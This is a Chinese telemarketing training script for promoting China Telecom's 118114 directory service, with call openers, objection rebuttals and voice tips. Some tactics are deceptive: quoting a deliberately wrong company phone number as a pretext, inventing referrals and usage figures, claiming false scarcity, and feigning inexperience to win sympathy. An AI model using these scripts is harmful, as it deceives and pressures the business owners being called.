销售：我是中国电信的，实际上我和王明既是朋友关系又是合作关系，不久前他使用了我们中国电信的号码百事通之后，公司业绩提高了20%，在验证效果之后他第一个想到的就是您，所以他让我今天务必给您电话。请问李总，您知道中国电信的号码百事通业务吗。。。。。。。
C、牛群效应法
在大草原上，成群的牛一起向前奔跑时，它们一定是很有规律地向一个方向跑，而不是向各个方向乱成一片。把自然界的这种现象运用到人类的市场行为中，就产生了所谓“牛群效应法”，它是指通过提出“与对方公司属于同行业的几家大公司”已经采取了某种行动，从而引导对方采取同样行动的方法。
销售：您好，王先生，我是中国电信的张华，我打电话给您的原因是因为目前与你们同行的XX公司、XX公司都在中国电信注册了号码百事通业务，通过号码百事通的强大推广能力，他们的业绩有了大幅度的攀升。请问王总您知道中国电信的号码百事通吗。。。。。。。
D、巧借“东风”法
三国时，诸葛亮能在赤壁一战中，一把火烧掉曹操几十万的大军，借的就是东风。如果电话销售人员能够敏锐发现身边的“东风”，并将之借用，往往能起到“四两拔千斤”的效果。
销售：您好，请问是李经理吗？
客户：是的，什么事？
销售：您好，李经理，这里是中国电信客户服务部,我叫冰冰，今天给您打电话最主要是感谢您对我们中国电信114查号台长期以来的支持，谢谢您！
客户：这没什么！
销售人员：为答谢老顾客对我们公司一直以来的支持，我们中国电信最近在114查号台的基础上进行了系统升级，功能更加强大，114目前有一个新的名字叫号码百事通。请问李总您听说过中国电信的号码百事通吗。。。。。。。
E、核实信息法
销售：您好，我们是中国电信客户服务中心，最近有许多客户通过拨打号码百事通118114查询你们公司的电话、地址、经营特色等，为了更好地向广大市民提供服务也为了更好地推广你们公司的业务，我们想核实一下目前在我们这里备案的你们公司的信息是否正确？你们对外公开的电话是6588957吗？（记住：这里所说的电话一定是错误的，错一个号或者错两个号）。
负责人：不对不对，应该是6588967。

销售：好的，我们将正确的号码提交给有关部门尽快改正。对了李先生，我们的后台显示有80%的客户在查询贵公司的时候要求转接过去，但是贵公司没有办理转接业务，所以根本转接不过去，你看看什么时候有时间让我们专业人员过去把转接功能给你们讲解一下。

或者：好的，我们将正确的号码提交给有关部门尽快改正。对了李先生，我们中国电信114查号台最近进行了系统升级，功能更加强大，114目前有一个新的名字叫号码百事通。请问李经理您听说过中国电信的号码百事通吗。。。。。。。
F、竞争对手刺激法
销售：您好，我们是中国电信客户服务中心，最近有许多市民通过拨打号码百事通118114查询XX行业的信息，目前在中国电信118114备案的有XX公司和X公司，请问你们公司在这个行业的整体实力如何？需要在118114进行备案吗？
负责人：我们实力很强啊？请问怎么备案？
销售：请问李经理您听说过中国电信的号码百事通吗。。。。。。。

或者：这样吧李经理，我让我们的专业人士过去给你讲解一下。。。。。

以上是六个案例，更多案例将在今后陆续推出。
开场白顺利过关后，就要简单介绍咱们的号码百事通了。

三、如何介绍号百百事通？

销售：号码百事通是中国电信推出的一个便民服务信息查询平台，广大市民通过拨打118114这个号码可以获得生活工作中所需要的各类实用信息。李经理，你们公司所在的XX行业是一个竞争非常激烈的行业，如果能在号码百事通进行注册，就有机会被很多潜在客户找到您。当有客户询问XX类的信息时，我们的话务员会优先推荐你们公司。（记住：从现在开始，全省的销售人员一律从行业轮查开始介绍，如果客户嫌价格高再转而推荐电话转接，还嫌价格高，再介绍企业名片。这个顺序一定要牢记）
四、客户直接拒绝怎么办？

负责人：对不起，我们不想注册。

销售：李经理，如果你们暂时不想注册也没关系。我是一个刚毕业的大学生，

做这个工作的时间不长，经验也很欠缺，李经理，算是帮我一个忙，能告诉我为什么不想注册吗？以便我在今后的工作中吸取教训，不断提高自己。

或者：对不起，李经理，我们不是有意打扰您的，因为118114坐席人员经常接

到查询贵公司的电话，每周坐席都会统计一次，把查询次数比较多的公司的信息反馈我们客服部，我们会对你们单位进行回访，以挽回你们无形中受到的损失。我们如果回访不到位也会被扣分的，目的还是保证为广大企业客户提供更好的服务。

负责人：就是觉得注册你们这个东西没什么用。

销售：谢谢李经理，可能还是因为我经验不足，没能将号码百事通的真正价

值给您介绍清楚，我能理解您的心情，因为您毕竟对118114能够为您带来多少收益心里没底，我相信您今天拒绝的不是118114，拒绝的是我这个销售人员，这样吧，我还是抽空给您送一份资料过去吧，您先看看，注册不注册都无所谓，也许我们电信可以在别的方面能为您的企业提供帮助呢？也给我一个向您当面学习的机会，也许占用您几分钟就够了。

如果负责人同意见面，进入登门约见环节，如果不同意，参照“准客户拒绝登门约访时怎么办？”

五、客户答应考虑一下怎么办？或者客户说眼下暂时不需要，过一段时间再说怎么办？

负责人：现在没法答复你，我们考虑一下再说吧。

销售：李经理，号码百事通优先推荐服务是一个在某一时期内不可再生的稀有资源，每个行业的相关关键词我们只允许三家注册，你今天不注册，就可能会有其他的商家和企业要注册，这样你的竞争对手就多了许多机会，对贵公司来说无疑是一个损失。

负责人：现在有哪些企业注册？

销售：XX公司已经注册了，目前收到很好的效果，几乎每月就能为他们带去很多个客户（或者：你们这个行业目前还没有企业注册，我是最先与您联系的，但是我们的同事可能已经与别的企业也在联系。）

负责人：我们还是想再了解一下情况再说。

销售：这样吧，我还是抽空给您送一份资料过去吧，您先看看，注册不注册都无所谓，也许我们电信可以在别的方面能为您的企业提供帮助呢？也给我一个向您当面学习的机会，也许占用您几分钟就够了。

如果负责人同意见面，进入登门约见环节，如果不同意，参照“准客户拒绝登门约访时怎么办？”

（记住：一定要把握好客户是不是真的有意向，不要让客户把你的时间给浪费掉了，如果客户没有意向，他说考虑一下就是在敷衍，这样会很浪费自己的精力和时间。多次跟进如果真的没有结果，客户资料上先打钩放一下，但是不能放弃。商机是无限的，但机会是有限的。）

六、客户说已经在114注册过了怎么办？客户说114比118114好怎么办？

负责人：“我们已经在114注册过了！”

销售：如果您已经在114注册过了，我相信一定从中获得了不少收益，118114是与114同类的平台，只不过一个隶属于网通一个隶属于电信，为什么不考虑增加一个宣传推广的渠道呢？

负责人：我们在114注册以后就没带来什么客户。
销售：李经理，这个我们能够理解，因为114是一个以普通查号为主的平台，一般的拨打者都是要首先知道企业的正确名称才能通过114进行查询，而118114更多宣传的是让市民进行反向查询，好多拨打者是因为不知道使用哪家企业的服务才拨打118114的，因此推荐效果要远远地好于114。
负责人：114现在也能推荐。
销售：这个我们了解，但是老百姓不了解，以为114只能查号，因此打118114的市民往往是冲着反向查询去的，拨打的人都是有消费意向的人。推荐效果当然要好得多。
负责人：我还是觉得114好，你们的什么118114好多人都不知道。
销售：118114与114从开始的设计理念就是不一样的，118114一开始考虑的就是万一用户不知道企业名字该如何向客户提供信息，因此，两个平台很难说谁好谁坏。并且118114是全省统一服务的，不仅能给您带来本市的客户，外地的一些客户也可以通过拨打118114找到你们，无形中扩大了您的营业面（记住：说全省服务的前提是该客户为酒店、餐饮行业或者客户遍及全省范围的企业）这样吧李经理，我还是去拜访您一下吧，当面与您沟通并演示一下，如果您觉得效果不好，您再拒绝，好吗？
负责人：好吧。
销售：请问您什么时候方便？
负责人：下午三点以后吧。
销售：好的李经理，那我三点半左右准时赶到您办公室。再次感谢您对中国电信的关注，再见！
七、客户质疑11814的知名度怎么办？

负责人：你们的东西我就没听说过。
销售：这很有可能，也许李经理您平时比较忙，看电视的时间很少，这样吧，我建议您抽空看一下中央5套，每天要滚动播出几百次的游走字幕，中央一套每天晚上8点多的电视剧播出结束以后的第一个广告就是118114，您抽空先看一下，过一段时间我再跟您联系怎么样？

或者：这很有可能，也许李经理您平时比较忙，看电视的时间很少，这样吧，我还是抽空给您送一份资料过去吧，您先看看，注册不注册都无所谓，也许我们电信可以在别的方面能为您的企业提供帮助呢？也给我一个向您当面学习的机会，也许占用您几分钟就够了。

如果负责人同意见面，进入登门约见环节，如果不同意，参照“准客户拒绝登门约访时怎么办？”

八、客户嫌118114价格高怎么办？

负责人：你们的价格太高了。
销售：价格是中国电信统一制定的，再说，每一种产品不能以价格来衡量他的价值。关键要看投入产出比，您可以算一下，即便号码百事通一年为您带来5个客户，您所交纳的注册费用也就收回了。
负责人：那能不能再降低一些？

销售：这样吧李经理，关于价格的问题我可以向我们的领导再申请一下。我还是抽空给您送一份资料过去吧，您先看看，注册不注册都无所谓，也许我们电信可以在别的方面能为您的企业提供帮助呢？也给我一个向您当面学习的机会，也许占用您几分钟就够了。

   如果负责人同意见面，进入登门约见环节，如果不同意，参照“准客户拒绝登门约访时怎么办？”

九、客户说这会正忙，回头再说怎么办？
负责人：这会正忙，回头再说吧。

（记住：这个时候千万不能再罗里罗嗦地纠缠或者演讲，说明人家在开会或者真的有事，能尽快结束就尽快结束）
销售：李经理，不好意思打搅您了，这样吧，我回头再打给您吧？中国电信小王再次感谢您的配合！再见！
（记住：一定要把握好客户是不是真的有意向，不要让客户把你的时间给浪费掉了，如果客户没有意向，他说考虑正忙就是在敷衍，这样会很浪费自己的精力和时间。）
十、准客户拒绝登门约访时怎么办？
常常有以下电话话语，对每一种话语，可用以下相应的礼貌话语回答，可望约访成功。

（1）“把资料寄来就好”。

     ——我很乐意这样做。但是李经理，这些资料只有在符合您企业需求时才有用，有一些细节性的问题我必须亲自和您讨论，请问您现在或者今后两天哪天有空，我可以去拜访您吗？

（2）“你把资料寄过来就可以了。”
     ——当然可以，同时这些资料具有很高商业价值，事实上我今天下午会在您公司附近，我可以把资料直接拿给您。

（3）“不，那时我有事要做。”“不，那时我要去拜访朋友。”
     ——李经理，很抱歉，我选了一个不恰当的时间，那么我们再约一个时间如何？比如明天或者后天。

（4）“你说的产品我知道了，就算想买现在也没钱。”
     ——是的，陈先生，我相信只有您最了解公司的财务状况，是吧？而我们这个服务就是帮助您更好的节约成本、增加收入。您一定不会反对先看看资料再说吧？

（5）“您只是在浪费您的时间！”
     ——您这样说是不是因为您对我们的服务不感兴趣的原因？
（衔接下面一个回答）

（6）“我对你们的服务没兴趣！”
     ——李经理，我也觉得您不会对您从来未体验过的东西产生兴趣，这也是我要去拜访您的原因。我希望我所提供的资讯足够让您改变想法，只是给您送一份资料过去，注册不注册无所谓，可以吗？

（7）“我很忙！”
     ——这是为什么我先打电话来的原因，李经理，我希望我可以在一个您较方便的时间来拜访您，请问您什么时候有空，我去拜访您一下，只占用您5分钟时间可以吗？

     “这段时间我一直忙，下个季度吧。”
     ——是啊，您管理这么大一个大公司，忙是一定的。所以我才会先给您打电话，以便确认一下您的时间，不至于浪费您更多宝贵的时间。

（8）“我真的没有时间。”
     ——事实证明，您能把这个企业发展成这样的规模，就证明您是一位讲效率的人。我在想：您一定不会反对一个可以帮助贵公司更好的节约成本、节省时间、提高工作效率和收入的服务被您所认知，是吧？

（9）“你现在就在浪费我的时间。”
——如果您看到这个产品会给您的工作带来一些帮助，您肯定就不会这么想了，很多顾客在使用了我们的产品后，在寄回的“顾客意见回执”中，对我们的产品都给予了很高的评价，真正的帮助他们有效的节省了费用，提高了效率、增加了收入。

（10）“你就在电话里说吧。”
     ——我去拜访您，大概只需要5—10分钟，向您亲自做个演示，以便于您更好的了解我们的产品，您说是吧？

（11）“我不需要。”
     ——在您没有看到我们的资料之前，您的这些想法我都理解。这也是我想拜访您的原因之一。

（记住：通常情况下，咱们是不可能这么逼客户的，这里只是提供一些案例，让大家体会一下优秀的销售人员的“脸”是这么炼成的，呵呵，见机行事吧。）

十一、打电话时的注意事项
1、语速
不要太快或太慢，可能是由于长期工作的原因，因为电话销售是一种快节奏的工作，大多数电话销售人员说话的速度都偏快。语速太快容易造成客户听不清楚，电话销售人员最好具备可以控制语速的能力，一般情况下，语速保持在120字~140字/分钟比较合适。当然，如果能够根据客户的语速而调整自己的语速，这样效果更好。
2、清晰度
电话销售人员发音要标准，吐词要清晰，能够让客户在电话中很容易听清楚自己说的话。要求全省各个销售团队在每次新招电话销售人员时，都要求对方现场模拟打电话的过程，主要考察对方的语言表达是否含糊不清，普通话是否流利等，因为表达清晰对于一名电话销售人来说是一项最基本的要求。
3、语气
语气是电话销售人员内心态度的晴雨表，电话销售人员的语气要求是：平和中有激情，耐心中有爱心，杜绝产生不耐烦的语气。经常会遇到这类客户，给他讲第一次，没有听清楚，讲第二次也没有听清楚，到讲第三次时还不清楚，这时电话销售人员解释一次，语气可以，解释第二次，也可以，解释第三次时就明显可以听出不耐烦的语气，这时心里肯定这么想：“你怎么这么笨呀，都跟你讲三遍了，你还不清楚。”这种语气一流露出来，结果就是把客户给吓跑了。
4、音调
音调不要怪腔怪调，要自然，一定要做到抑扬顿挫，音调要有高、中、低之分，富于变化，不要太机械化。有些电话销售人员老是用一种音调跟所有客户讲话，好像是录音机播放的一样，缺少变化，因而自己的语言也就缺少生气。相声演员姜昆曾说过一段相声，他是这样形容经典歌曲的：“经典歌曲刚开始时就像平地行走，音调较平，然后开始爬坡，音调往上走，爬到最高处时，突然往下，音调骤降，到结尾时，翻几个跟斗，音调也跟着绕几个圈。”这样的歌曲唱出来后，那简直是是“余音绕梁，三日不绝”，既然电话销售是一门声音的艺术，那电话销售人员就不得不下点功夫好好修炼一下自己的说话音调。
5、节奏
就是恰到好处的停顿，这样就可以有时间来感知谈话进行的感觉，也让客户有机会参与到谈话中来，大多数电话销售人员都会犯一个毛病：只顾自己说，说完了就挂机。高明的电话销售人员可以做到根据客户的语言节奏来决定自己的节奏。从而使整个谈话非常投机、默契。停顿的频率一般是每说两句话就停顿一、二秒钟较好。省中心有一名电话销售人员，其口齿伶俐，能说会辩，大家公认他的口才好，可是业绩总是不理想，他自己也很苦恼，不知道问题出在哪里？后来，管理人员提了个建议，这个建议只有两个字“闭嘴”，虽然很难听，但对他的心灵冲击力很大，后来，每当他想滔滔不绝地发表“演讲”时，都会强行克制自己，因此也就陆陆续续出了一些业绩。
6、音量
就是声音的大小，音量不宜过大，要适中，电话销售人员都在室内工作，如果音量过大，难免会影响周围同事的工作，所以如果遇到客户说无法听清楚时，我们尽量另约时间联系。同时音量的高低能够反应一名电话销售人员的素养，音量过高容易给人一种缺少涵养的感觉，音量过低又会给人一种自信不足的印象。
7、热情度
成功学大师拿破仑•希尔花了25年的时间，分析和研究了全世界500名各行业顶尖的成功人士的成功原因，最后归纳出17条成功定律，其中热情排在最前面，可见保持热情的重要性。热情一定是由内而外的自然流露的，只有那些从心里热爱自己的工作的人，心中才会有一团火焰，这团熊熊燃烧的火焰使充满热情的人魅力四射，从而具有非凡的影响力。历史在评价希特勒时，贬多褒少，可是我们单从对工作投入的热情来看，希特勒不可以说不是一个奇迹。他那近似神经质的疯狂的演讲，煽动了几乎是全德国的年轻人为了实现他们的理想，就算是抛头颅、洒热血也在所不辞。同样作为电话销售人员如果没有一种发自内心的对自己工作的热爱，说话声音有气无力，即使学了一大堆的技巧和方法，也是没有用的。

8、带笑的声音
人们常说“伸手不打笑脸人”“相逢一笑泯恩仇”，可见，这一笑威力有多大，上面两种情境是面对面才发生的。可是，在电话里，对方看不到电话销售人员的笑脸，怎么办？要求全省号百销售人员在给客户打电话时一定要笑出声来，否则就像在黑暗中给绝世佳人暗送秋波一样，自作多情，徒劳无益。让客户听到电话销售人员的微笑，带有微笑的声音是非常甜美动听的，也是极具感染力的。在声音中放入笑容，并且笑出声来，这是一招很有杀伤力的电话销售技巧，因为人是追求美和快乐的动物，笑声则传达了一名电话销售人员的快乐，电话那端的客户当然愿意和一个快乐的人交谈。
9、自信
一个人只有自己喜欢自己，别人才可能喜欢你；一个人只有自己对自己有信心，别人才会对你有信心。这样说，好像有点孤芳自赏，自欺欺人的嫌疑，然而，这的确是一个不为大多人所知的人性奥秘。有一个很自卑的女生，经常独来独往，不愿意与人接触，活得很压抑。辅导员和她谈了无数次话，效果也不理想，后来学校里的一个攻读心理学的老师给了辅导员一个建议：要让那个女孩走出自卑的阴影，办法有一个，就是发动全班的男生给这个女生写情书，每个男生都要写，在信里，不但要表达对这位女生的爱慕之情，最主要的是写清楚迷恋她的哪一点。这样就可以激发这位女生发现自身的优点，关注自身的优点，逐渐喜欢上自己，从而摆脱自卑，活出状态。故事的结尾大概各位已经知道了，后来不到两个月，这位女生简直是脱胎换骨，光芒万丈，把其他的女孩子羡慕得不行。所以，这里重申一下：“如果你自己都不喜欢你，没有人会喜欢你；如果你自己都不自信，没有人会对你有信心。”
10、专业
俗话说：“行家一出手，就知有没有。”一名电话销售人员是否对自己公司的产品熟悉，电话销售人员在通电话时，语言表达是否专业，发音是否专业，处理问题是否专业等都将给客户留下深刻的印象。当代社会分工越来越细，通才会越来越少，而只有专才才会越来越吃香，也越来越有竞争力。曾经有一个这样的故事，说的是建国初期，某国营企业进口了一台价值几百万的机器，可是没几天，机器便“罢工”了，企业老总召集了公司里所有的工程师对这台机器进行会诊，结果没有谁能解决机器故障。于是他们要求国外厂家派技术人员过来，可人家说很忙，最近两个月没时间，怎么办，无奈之下，只好登报悬赏诚征英才。后来来了个年轻人，在机器上，这里瞧一瞧，那里敲一敲，最后，在一个地方画了个圆圈，告诉他们的工程师将里面的一个螺丝拧紧就可以了。工程师照办，机器果然运转正常，于是只剩下收费问题，小伙子要价一万元，公司老总不理解，画一个圆圈就要一万元，这恐怕有点漫天要价吧。小伙子说话啦：“画一个圆圈只收一元，知道在哪里画圆圈收费9999元。”这里所说的“知道在哪里画圆圈”就是专业。再回过头来说我们从事电话销售工作的从业人员，其实电话销售高手与一般的电话销售人员，90%的工作都会差不多，而最后在业绩上却产生巨大差距的原因，往往是剩下的10%的工作不一样而造成的。这个10%往往是由于你对自己所从事的事业是否专业造成的。

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2010-08-08T12:24:57+08:00

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